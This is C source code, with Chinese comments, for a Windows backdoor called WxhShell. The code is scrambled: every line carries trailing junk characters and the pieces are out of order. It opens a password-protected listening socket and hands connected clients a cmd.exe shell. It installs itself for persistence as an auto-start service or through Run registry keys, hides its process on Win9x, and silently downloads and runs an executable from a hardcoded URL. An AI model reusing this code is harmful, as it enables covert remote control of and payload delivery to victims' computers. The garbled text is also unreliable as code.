    if(Boot(SHUTDOWN)) jl59;.P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l&\y]ZV={  
    else { WG,Il/  
    closesocket(wsh); W,8Uu1X =  
    ExitThread(0); a[ ;L+  
    } N5 sR  
    break; AXcmN  
    } mBIksts5h  
  // 获取shell P^o@x,V!&  
  case 's': { U/FysN_N!  
    CmdShell(wsh); 54{E&QvL8o  
    closesocket(wsh); !ak760*A  
    ExitThread(0); ;(mNjxA  
    break; *v#V%_o  
  } RAa1^Qb  
  // 退出 T T 3 6Y  
  case 'x': { bV:<%l]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jd `Qa+  
    CloseIt(wsh); RH,x);J|  
    break; -[!t=qi  
    } 2KO`+  
  // 离开  9qa/f[G  
  case 'q': { &y0GdzfQd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^vm6JWwN0B  
    closesocket(wsh); "E<+idoz  
    WSACleanup(); v2gk1a &  
    exit(1); !4v>|tq!  
    break; .{eMN[ n@  
        } ]@y%j'e  
  } 0fj C>AS  
  } @|h9jx|  
h@JX?LzZS  
  // 提示信息 N_Ezp68Fp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fAkfN H6  
} U=%(kOx  
  } :~vg'v~C  
#P!<u Lc%  
  return; Sg%s\p]N_#  
} ~jJ.E_i  
/0>'ZzjV,  
// shell模块句柄 6RIbsy  
int CmdShell(SOCKET sock) ; Ows8  
{ z-3.%P2g  
STARTUPINFO si; U6|T<bsOl  
ZeroMemory(&si,sizeof(si)); l4mRNYv)z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W*iTg%a\k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f>xi (0  
PROCESS_INFORMATION ProcessInfo; ;HYEJ3  
char cmdline[]="cmd"; IAbQgBvUD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NHUJ:j@  
  return 0; *]/iL#  
} s;Bh69  
ObZhQ.&  
// 自身启动模式 h+Lpj^<2a  
int StartFromService(void) aZo}Ix:/  
{ W'Ew!]Q3  
typedef struct 5'DY)s-K  
{ B T}l"  
  DWORD ExitStatus; a Z)1SX`D  
  DWORD PebBaseAddress; CN` ~DD{  
  DWORD AffinityMask; T_s09Wl  
  DWORD BasePriority; &2%|?f|  
  ULONG UniqueProcessId; Mb"y{Fox  
  ULONG InheritedFromUniqueProcessId; @x*xgf  
}   PROCESS_BASIC_INFORMATION; {m3#1iV9  
Y6Y"fb%K  
PROCNTQSIP NtQueryInformationProcess; C(h<s e?  
i@D4bd9lR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #?\(l%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7MZH'nO  
,j{tGj_  
  HANDLE             hProcess; EF$ASNh"  
  PROCESS_BASIC_INFORMATION pbi; Q3hSWXq'  
]5@n`;&#.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OpazWcMoo  
  if(NULL == hInst ) return 0; a0k;way  
]iW:YNvXA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QoUdTIIL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _R]0S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }M(xN6E  
qGhg?u"n:  
  if (!NtQueryInformationProcess) return 0; WqM| nX  
) x+edYw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n(V{ [  
  if(!hProcess) return 0; )RTWt`  
&ID! lEd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 78*8-  
sMVk]Mb  
  CloseHandle(hProcess); WZHw(BN{+  
Vp1ct06^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a6xo U;T  
if(hProcess==NULL) return 0; C6F7,v62  
:J @3:+sr  
HMODULE hMod; `#W+pO  
char procName[255]; dPpJDY0  
unsigned long cbNeeded; [\eVX`it  
mA.,.<xE@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6~jAh@-  
1_!?wMo:f  
  CloseHandle(hProcess); #Vmf 6  
V'RbTFb9Z  
if(strstr(procName,"services")) return 1; // 以服务启动 mrsmul{  
}pf|GdL  
  return 0; // 注册表启动 +w.$"dF!  
} XUVj<U  
31 <0Nw;l  
// 主模块 S"?fa)~  
int StartWxhshell(LPSTR lpCmdLine) fwA8=o SZd  
{ #^]vhnbN  
  SOCKET wsl; $aU.M3  
BOOL val=TRUE; w oIZFus  
  int port=0; {9{X\|  
  struct sockaddr_in door; co\Il]`R/  
- 7T`/6  
  if(wscfg.ws_autoins) Install(); a6;[Z  
;ow)N <Z  
port=atoi(lpCmdLine); uD?G\"L i  
`9^+KK"  
if(port<=0) port=wscfg.ws_port; <[ 2?~s  
ZI1]B944ni  
  WSADATA data; e-v|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \\13n4fAv  
DrioBb@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G9Kck|50  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); uxDM #  
  door.sin_family = AF_INET; A/:_uqm4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); EAXl.Y. $  
  door.sin_port = htons(port); ZCZ@ZN  
^ Lc\{,m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _[E+D0A  
closesocket(wsl); 1|w@f&W"  
return 1; + a nsN~3  
} =+mb@#="m  
YU8]W%  
  if(listen(wsl,2) == INVALID_SOCKET) { w1-P6cf  
closesocket(wsl); eC%Skw  
return 1; Z- a  
} Dj c-f  
  Wxhshell(wsl); U+>M@!=  
  WSACleanup(); A-uIZ zC  
LWTPNp:"{w  
return 0; z7AWWr=H  
flC%<V%'-  
} = &pLlG  
6hd<ys?  
// 以NT服务方式启动 3+uL@LXd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *-Yw%uR  
{ T_D] rMl  
DWORD   status = 0; .1;UEb|T  
  DWORD   specificError = 0xfffffff; ;>5`Y8s6  
LFW`ISY{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N%Ta. `r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %c\k LSe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u<cnz% @  
  serviceStatus.dwWin32ExitCode     = 0; "|1iz2L  
  serviceStatus.dwServiceSpecificExitCode = 0; [(3s5)O  
  serviceStatus.dwCheckPoint       = 0; *@PM,tS;  
  serviceStatus.dwWaitHint       = 0; {]}94T~/k  
mgVYKZWL-i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $57b.+2n  
  if (hServiceStatusHandle==0) return; p$|7T31 *  
eZU9L/w:  
status = GetLastError(); -j]k^  
  if (status!=NO_ERROR) m#8 PX$_  
{ ]7K2S{/o{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7`A]X,:  
    serviceStatus.dwCheckPoint       = 0; R Qo a  
    serviceStatus.dwWaitHint       = 0; < ]1,L%  
    serviceStatus.dwWin32ExitCode     = status; K6-M.I  
    serviceStatus.dwServiceSpecificExitCode = specificError; |]@Pq[Hn|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Y2~HuM  
    return; <C(o0u&/  
  } O HpV%8`  
:yD>Tn;1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HLwMo&*rA  
  serviceStatus.dwCheckPoint       = 0; r#4/~a5i~  
  serviceStatus.dwWaitHint       = 0; lD3nz<p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 37jxl+  
} :p: C  
{LF4_9 =  
// 处理NT服务事件,比如:启动、停止 `wtso  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 77)WNL/ x  
{ RM `qC  
switch(fdwControl) J,CwC)  
{ =gQ9>An  
case SERVICE_CONTROL_STOP: \*e\MOp6  
  serviceStatus.dwWin32ExitCode = 0; |SjRss:i+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9|}Pf_5]%[  
  serviceStatus.dwCheckPoint   = 0; ,n8\y9{G  
  serviceStatus.dwWaitHint     = 0; sNo8o1Hby  
  { i}DS+~8v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kc^,V|Nbq6  
  } ,oA<xP-*  
  return; ^r&)@R$V  
case SERVICE_CONTROL_PAUSE: Wvr{l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <8^x Mjc  
  break; k[ro[E  
case SERVICE_CONTROL_CONTINUE: 0Z8"f_GK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E(PBV  
  break; 8\lh'8  
case SERVICE_CONTROL_INTERROGATE: ciS,  
  break; =zyA~}M2  
}; GcdJf/k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _5-h\RB)  
} vNv!fkl  
!&rd#ZBn  
// 标准应用程序主函数 /qX?ca1_4^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'V]&X.=zC  
{ "GK9Y  
?F AI@4  
// 获取操作系统版本 !o /=,ZIx  
OsIsNt=GetOsVer(); Eu`|8# [ W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r!2U#rz  
w]0@V}}u$o  
  // 从命令行安装 R{H[< s+n  
  if(strpbrk(lpCmdLine,"iI")) Install(); "ntP928  
$mn0I69  
  // 下载执行文件 7pyzPc#_  
if(wscfg.ws_downexe) { !=YKfzE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fu^W# "{  
  WinExec(wscfg.ws_filenam,SW_HIDE); BHUI1y5t  
} A#=TR_@:  
! ;t\lgMl  
if(!OsIsNt) { 2]5{Xmmo9  
// 如果时win9x,隐藏进程并且设置为注册表启动 8D*nU3O   
HideProc(); jb.H[n,\  
StartWxhshell(lpCmdLine);  -BSdrP|  
} Oo|PZ_P  
else Ur(R[*2bx  
  if(StartFromService()) r0XEB,}  
  // 以服务方式启动 Db,"Gl  
  StartServiceCtrlDispatcher(DispatchTable); -^xbd_'  
else @x}"aJgl  
  // 普通方式启动 kyJbV[o<#  
  StartWxhshell(lpCmdLine); "Wwu Ty|  
DW. w=L|5R  
return 0; RSp wU;o6z  
} .$18%jH#  
q<dG}aj  
*5%vU|9b  
nF,F#V8l  
=========================================== &<PIm  
P]43FPb  
lvO6&sF1  
e7RgA1  
\wK&wRn)  
3f[Yk# "  
" 6c-/D.M  
aOwjYl[?p  
#include <stdio.h> \Oeo"|  
#include <string.h> =&bI-  
#include <windows.h> & o5x  
#include <winsock2.h> 5#K*75>  
#include <winsvc.h> m2j&0z  
#include <urlmon.h> x}+zhRJ  
fST.p|b7  
#pragma comment (lib, "Ws2_32.lib") p0Jr{hM  
#pragma comment (lib, "urlmon.lib") : {p'U2  
d y HC8  
#define MAX_USER   100 // 最大客户端连接数 "b} mVrFh  
#define BUF_SOCK   200 // sock buffer AE0uBv  
#define KEY_BUFF   255 // 输入 buffer ~L)~p%rbi  
~3F'X  
#define REBOOT     0   // 重启 uuC ["Z  
#define SHUTDOWN   1   // 关机 Jka>Er  
MiT0!6Pg  
#define DEF_PORT   5000 // 监听端口 SYCL\b   
-& 1(~7  
#define REG_LEN     16   // 注册表键长度 nkW})LyB\  
#define SVC_LEN     80   // NT服务名长度 \MP~}t}c  
W [ l  
// 从dll定义API .XJ'2yKof  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1<YoGm&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )+G"57p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vMTf^V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q(bOar5  
{R}F4k  
// wxhshell配置信息 eZ$7VWG#  
struct WSCFG { paqGW]  
  int ws_port;         // 监听端口 *N">93:  
  char ws_passstr[REG_LEN]; // 口令 =;rLv7(a  
  int ws_autoins;       // 安装标记, 1=yes 0=no SqM>xm  
  char ws_regname[REG_LEN]; // 注册表键名 F]ao Ty  
  char ws_svcname[REG_LEN]; // 服务名 h?mDtMCw2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S,m(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5\+*ml  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +A| Bc~2!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q|'f3\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J:Cr.K`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4t, 2H"M  
u<-)C)z  
}; n{tc{LII/  
0#*6:{/^  
// default Wxhshell configuration 2 XP }:e  
struct WSCFG wscfg={DEF_PORT, !HY^QK  
    "xuhuanlingzhe", YuK+ N  
    1, [G<ga80  
    "Wxhshell", yw^Pok5.  
    "Wxhshell", (dy(.4W\  
            "WxhShell Service", Q{[@n  
    "Wrsky Windows CmdShell Service", wQhNQ(H~\  
    "Please Input Your Password: ", Cj-s  
  1, 7Ak<e tHD  
  "http://www.wrsky.com/wxhshell.exe", 3s6obw$ki  
  "Wxhshell.exe" \ruQx)5M  
    }; 9@ k8$@  
F.[%0b E  
// 消息定义模块 ,!#Am13  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Gv-VDRS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q:-T' xk@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; TnF~'RZYb  
char *msg_ws_ext="\n\rExit."; )DgXsT  
char *msg_ws_end="\n\rQuit."; 1 G>Ud6(3<  
char *msg_ws_boot="\n\rReboot..."; %'Cj~An  
char *msg_ws_poff="\n\rShutdown..."; {9@D zP  
char *msg_ws_down="\n\rSave to "; G+zhL6]F  
)bUnk +_  
char *msg_ws_err="\n\rErr!"; orGMzC2  
char *msg_ws_ok="\n\rOK!"; ={g)[:(C.  
}Fe6L;^;  
char ExeFile[MAX_PATH]; @{Rb]d?&F?  
int nUser = 0; ZQ`8RF *v  
HANDLE handles[MAX_USER]; -xn-A f!v  
int OsIsNt; n7[nl43  
b>ai"!  
SERVICE_STATUS       serviceStatus; 4agW<c#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dY 8 H2;  
I,-n[k\J  
// 函数声明 lw@Yn>eza  
int Install(void); 3&hR#;,"X  
int Uninstall(void); zp}7p~#k^  
int DownloadFile(char *sURL, SOCKET wsh); ;_<~9;  
int Boot(int flag); ~KK} $iM  
void HideProc(void); sxNf"C=-.  
int GetOsVer(void);  6}"%>9  
int Wxhshell(SOCKET wsl); )+_Vx}O:}  
void TalkWithClient(void *cs); qG9a!sj   
int CmdShell(SOCKET sock); KF%BX ~80C  
int StartFromService(void); k2}DBVu1  
int StartWxhshell(LPSTR lpCmdLine); G6G Bqp6|  
%e iV^>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DbMVbgz<e  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V]H(;+^P  
.?Eb{W)^br  
// 数据结构和表定义 ynI e4b  
SERVICE_TABLE_ENTRY DispatchTable[] = ]s\r3I]  
{ z !K2UTX  
{wscfg.ws_svcname, NTServiceMain}, 7HPwlS  
{NULL, NULL} jSI1tW8  
}; cMT7Bd  
<.h7xZ  
// 自我安装 NI?O  
int Install(void) K#R]of~/  
{ \{h_i FU!  
  char svExeFile[MAX_PATH]; Zbczbnj  
  HKEY key; &g :(I  
  strcpy(svExeFile,ExeFile); 5CI {&E  
h FU8iB`Q  
// 如果是win9x系统,修改注册表设为自启动 }-3 VK%  
if(!OsIsNt) { Ip t;NlR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1eI*.pt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @Jd&[T27Lr  
  RegCloseKey(key); )!8q JQD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '2lV(>"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pDS[ecx  
  RegCloseKey(key); 2yfU]`qN  
  return 0; lNX*s E .  
    } 6z\!lOVjb  
  } a 0SZw  
} MCE@EFD`\  
else { q{w|`vIb  
|"*P`C=  
// 如果是NT以上系统,安装为系统服务 <*5S7)]BP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w B)y@w4k  
if (schSCManager!=0) ;[y( 14g  
{ gj^)T_E_  
  SC_HANDLE schService = CreateService F_@B ` ,  
  ( e{x>u(  
  schSCManager, nCYz ];".  
  wscfg.ws_svcname, =xk>yw!O)  
  wscfg.ws_svcdisp, FGVw=G{r  
  SERVICE_ALL_ACCESS, G&oD;NY@/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m` 1dB%;?  
  SERVICE_AUTO_START, z^9oaoTl  
  SERVICE_ERROR_NORMAL,  [N,+mX  
  svExeFile, 7$*E0  
  NULL, j2G^sj"|  
  NULL, ]]|#+$ ~  
  NULL, SdnnXEB7  
  NULL, y[7M(K  
  NULL , z\Qd07u  
  ); ]L3U2H`7  
  if (schService!=0) 3zsp 6kV  
  { JD *HG]  
  CloseServiceHandle(schService); v!I z&M:z  
  CloseServiceHandle(schSCManager); 8F[ ];LF>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y-it3q'Z  
  strcat(svExeFile,wscfg.ws_svcname); .$\-{)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2J=`"6c  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =%` s-[5b  
  RegCloseKey(key); xP\s^]e  
  return 0; #$UwJB]_D  
    } 0moAmfc  
  } l%+ &V^:  
  CloseServiceHandle(schSCManager); kqB# 9  
} V Rv4p5  
} uO4 LD}A  
3eY>LWx  
return 1; 'xS@cF o(  
} .>W [  
R+!U.:-yz  
// 自我卸载 4b<|jVl\  
int Uninstall(void) ;!f='QuA  
{ i$kB6B#==  
  HKEY key; WN]k+0#  
`)cI^!  
if(!OsIsNt) { b36{vcs~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2)IM<rf'^  
  RegDeleteValue(key,wscfg.ws_regname); #?)6^uTW  
  RegCloseKey(key); j \r GU){  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )j2 #5`?"j  
  RegDeleteValue(key,wscfg.ws_regname); B  W*8  
  RegCloseKey(key); & %/p; ::A  
  return 0; K~#?Y,}O  
  } e6p3!)@P1  
} M4Cb(QAVP  
} I'xc$f_+  
else { J* !_O#  
Ucv7`W gr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h] ho? K  
if (schSCManager!=0) ;?u cC@  
{ pj_W^,*/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =|J*9z;  
  if (schService!=0) c&PsT4Wh  
  { )q{qWobS0  
  if(DeleteService(schService)!=0) { +mjwX?yF  
  CloseServiceHandle(schService); ;?q(8^A  
  CloseServiceHandle(schSCManager); u^xnOVE  
  return 0; UG\2wH_  
  } @ 95p[  
  CloseServiceHandle(schService); 'A|c\sy  
  } 6r"NU`1A;r  
  CloseServiceHandle(schSCManager); QyCrz{/  
} (+gTIcc >  
} NrS+N;i  
4Pr^>m  
return 1; tD`^qMua  
} }Bv1fbD4U  
xD*Zcw(vj~  
// 从指定url下载文件 6n/=n%US  
int DownloadFile(char *sURL, SOCKET wsh) L{~ ]lUo  
{ ft7M9<#v  
  HRESULT hr; n ^9?(a4u  
char seps[]= "/"; 8(j]=n6 r  
char *token; :.=:N%3[  
char *file; y9mV6.r  
char myURL[MAX_PATH]; @~vg=(ic(  
char myFILE[MAX_PATH]; 2{RRaUoRb  
bbq`gEV  
strcpy(myURL,sURL); OybmyGHY  
  token=strtok(myURL,seps); e!0xh  
  while(token!=NULL) 2MB>NM<xO  
  { ajkV"~w',|  
    file=token; 'T^MaLK  
  token=strtok(NULL,seps); [? "hmSJ  
  } !Gnm<|.  
^/Hf$tYI!`  
GetCurrentDirectory(MAX_PATH,myFILE); hpQ #`rhn  
strcat(myFILE, "\\"); 1q;R+65  
strcat(myFILE, file); .@x.    
  send(wsh,myFILE,strlen(myFILE),0); Z42q}Fhm*R  
send(wsh,"...",3,0); YKUAI+ks  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E uO:}[  
  if(hr==S_OK) CnuM=S:  
return 0; K'2N:.D:  
else E 1`g8Hk'  
return 1; KT<i%)t2  
1/1oT  
} \4qF3#  
K"[jrvZ=  
// 系统电源模块 =W2.Nc  
int Boot(int flag) #IGcQY  
{ +|;Ri68  
  HANDLE hToken; G8]{pbX  
  TOKEN_PRIVILEGES tkp; !^Ay !  
]u<U[l-w  
  if(OsIsNt) { 4 dHGU^#WZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :*g$@T   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xN$V(ZX4  
    tkp.PrivilegeCount = 1; fFVQu\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hQ>$ "0K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B t3++ Mj  
if(flag==REBOOT) { JK,^:tgm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O.#R r/+)  
  return 0; t{UWb~"  
} A' ![*O  
else { fN{wP,jI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }JOz,SQHP  
  return 0; >=rniHs=?7  
} 7#"y mE  
  } Z}zka<y6K6  
  else { ~BTm6*'h  
if(flag==REBOOT) { sAO/yG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9FC_B+7  
  return 0; ,h%n5R$:  
} +?t& 7={~  
else { zxs)o}8icO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *fd:(dN|  
  return 0; ?r]0%W^  
} "=%YyH~WY  
} xP9R d/xa|  
IecD41%  
return 1; P{s1NorKDh  
} 6}@T^?  
UCmJQJc  
// win9x进程隐藏模块 .FYRi_Zd  
void HideProc(void) h+d k2|a  
{ )y!gApNs"  
s,C>l_4-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s(5(zcBK  
  if ( hKernel != NULL ) ?N+pWdi  
  { _ZWU~38PM  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6V9r[,n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IY~I=}  
    FreeLibrary(hKernel); }|-8- ;  
  } ZHwN3  
3>5gh8!-  
return; J#w=Z>oz<  
} WSF$xC /~  
1mh7fZgn  
// 获取操作系统版本 k,OxGG  
int GetOsVer(void) \\Zsxya1  
{ 7!o#pt7  
  OSVERSIONINFO winfo; ho#<?rh_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rWJRoGk/  
  GetVersionEx(&winfo); y q2AZ@}"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wko9tdC=U  
  return 1; Z[RifqaBby  
  else pi;fu  
  return 0; 4ke.p<dG  
} t ~]' {[F  
$Y$s*h_-/<  
// 客户端句柄模块 nJgN2Z  
int Wxhshell(SOCKET wsl) j$u  
{ Pr1OQbg]8  
  SOCKET wsh; cjLA7I.O  
  struct sockaddr_in client; \ z*<^ONq  
  DWORD myID; pxbuZ9w2Q  
1_xkGc-z<  
  while(nUser<MAX_USER) 4 q % Gc  
{ <|3F('Q"  
  int nSize=sizeof(client); , P1m#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J| 46i  
  if(wsh==INVALID_SOCKET) return 1; 2c,w 4rK  
Q^Vch(`&P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2nFr?Y3g,  
if(handles[nUser]==0) %0u5d$bq  
  closesocket(wsh); bLg gh]Fh  
else Mu" vj*F  
  nUser++; X)TZ  S  
  } _s=<Y^l%x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /K,@{__JP  
|e+r~).4B  
  return 0; T/%k1Hsa4H  
} EcR[b@YI  
t1#f*G5  
// 关闭 socket k9y/.Mu  
void CloseIt(SOCKET wsh) >FFp"%%  
{ )>rYp )  
closesocket(wsh);  W"~"R  
nUser--; H]dN'c-  
ExitThread(0); K(NP%:  
} 2fm6G).m  
@71y:)W<  
// 客户端请求句柄 A,#z_2~  
void TalkWithClient(void *cs) dDYor-g>  
{ sWq}/!@&  
-|czhO)R  
  SOCKET wsh=(SOCKET)cs; F9IPA%  
  char pwd[SVC_LEN]; xnZ  
  char cmd[KEY_BUFF]; EL *l5!Iu  
char chr[1]; MA 6uJT  
int i,j; {!4ZRNy(k  
hz2f7g  
  while (nUser < MAX_USER) { 4l{La}Aj  
fhHTp_u)2  
if(wscfg.ws_passstr) { :' !_PN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IxWX2yJ]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o:%;AOcl  
  //ZeroMemory(pwd,KEY_BUFF); Kna@K$6{w=  
      i=0; rG B*a8  
  while(i<SVC_LEN) { .KYDYdoS'  
^'vWv C  
  // 设置超时 ,y7X>M2  
  fd_set FdRead; SwH#=hg  
  struct timeval TimeOut; H[/^&1P  
  FD_ZERO(&FdRead); 2ZxZ2?.uJ  
  FD_SET(wsh,&FdRead); ~c=*Y=)LG  
  TimeOut.tv_sec=8; b Olb  
  TimeOut.tv_usec=0; XOZ@ek)LY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~VF?T~Kr_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )d5mZE!3  
JkNRXC:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OH5#.${O  
  pwd=chr[0]; !NhVPb,  
  if(chr[0]==0xd || chr[0]==0xa) { @j r$4pM?  
  pwd=0; 2$ \#BG  
  break; (>om.FM  
  }  ZN;fDv  
  i++; ;Ac!"_N?7  
    } zL+M-2hV  
jdD`C`w|,  
  // 如果是非法用户,关闭 socket |y]8gL^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7YU}-gi  
} Eo{js?1G_  
J s,.$t  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U&gl$/4U@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a3_pF~Qx  
G7HvA46  
while(1) { .!1E7\  
o PA m*  
  ZeroMemory(cmd,KEY_BUFF); s.!gsCQme  
VC NQ}h[D  
      // 自动支持客户端 telnet标准   3_Re>i  
  j=0; lHgmljn5u  
  while(j<KEY_BUFF) { `9VRT`e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Oyjhc<6  
  cmd[j]=chr[0]; eKqo6P:#f  
  if(chr[0]==0xa || chr[0]==0xd) { f:A1j\A?  
  cmd[j]=0; 5bprhq-7  
  break; _ Av_jw`m  
  } 4p(\2?B%f  
  j++; 0 !F! Y_  
    } OmECvL'Z  
n\4sNoFI  
  // 下载文件 xNxSgvco ,  
  if(strstr(cmd,"http://")) { H[iR8<rhQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KQrG|<J  
  if(DownloadFile(cmd,wsh))  !*-|s}e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J po(O>\P  
  else ?7aeY5p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WNV}@  
  } &;%LTF@I,  
  else { zAd%dbU|  
)>^!X$`3  
    switch(cmd[0]) { "[\TL#/  
  ?xCWg.#l4V  
